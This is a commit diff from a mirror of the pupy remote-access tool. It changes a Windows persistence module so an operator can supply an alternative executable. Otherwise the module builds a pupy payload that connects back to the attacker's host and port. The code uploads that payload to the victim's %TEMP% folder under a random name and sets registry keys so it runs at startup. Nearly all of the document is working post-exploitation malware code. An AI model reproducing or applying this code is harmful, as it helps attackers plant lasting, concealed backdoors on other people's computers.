mirror of https://github.com/n1nj4sec/pupy.git
add an option to persistency module to supply another exe/script
This commit is contained in:
parent
7037dd99da
commit
57c3b82541
|
@ -11,6 +11,7 @@ class PersistenceModule(PupyModule):
|
||||||
""" Enables persistence via registry keys """
|
""" Enables persistence via registry keys """
|
||||||
def init_argparse(self):
|
def init_argparse(self):
|
||||||
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
|
self.arg_parser = PupyArgumentParser(prog="persistence", description=self.__doc__)
|
||||||
|
self.arg_parser.add_argument('-e','--exe', help='Use an alternative file and set persistency')
|
||||||
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
|
self.arg_parser.add_argument('-m','--method', choices=['registry'], required=True, help='persistence method')
|
||||||
|
|
||||||
@windows_only
|
@windows_only
|
||||||
|
@ -18,19 +19,25 @@ class PersistenceModule(PupyModule):
|
||||||
pass
|
pass
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
if args.method=="registry":
|
exebuff=b""
|
||||||
self.client.load_package("pupwinutils.persistence")
|
if args.exe:
|
||||||
|
with open(args.exe,'rb') as f:
|
||||||
|
exebuff=f.read()
|
||||||
|
self.info("loading %s ..."%args.exe)
|
||||||
|
else:
|
||||||
#retrieving conn info
|
#retrieving conn info
|
||||||
res=self.client.conn.modules['pupy'].get_connect_back_host()
|
res=self.client.conn.modules['pupy'].get_connect_back_host()
|
||||||
host, port=res.rsplit(':',1)
|
host, port=res.rsplit(':',1)
|
||||||
|
|
||||||
self.info("generating exe ...")
|
|
||||||
#generating exe
|
#generating exe
|
||||||
|
self.info("generating exe ...")
|
||||||
if self.client.desc['proc_arch']=="64bit":
|
if self.client.desc['proc_arch']=="64bit":
|
||||||
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
|
exebuff=pupygen.get_edit_pupyx64_exe(host, port)
|
||||||
else:
|
else:
|
||||||
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
|
exebuff=pupygen.get_edit_pupyx86_exe(host, port)
|
||||||
|
if args.method=="registry":
|
||||||
|
self.client.load_package("pupwinutils.persistence")
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
remote_path=self.client.conn.modules['os.path'].expandvars("%TEMP%\\{}.exe".format(''.join([random.choice(string.ascii_lowercase) for x in range(0,random.randint(6,12))])))
|
||||||
self.info("uploading to %s ..."%remote_path)
|
self.info("uploading to %s ..."%remote_path)
|
||||||
|
@ -54,5 +61,5 @@ class PersistenceModule(PupyModule):
|
||||||
|
|
||||||
self.success("persistence added !")
|
self.success("persistence added !")
|
||||||
else:
|
else:
|
||||||
self.error("not implemented")
|
self.error("method not implemented")
|
||||||
|
|
||||||
|
|
Loading…
Reference in New Issue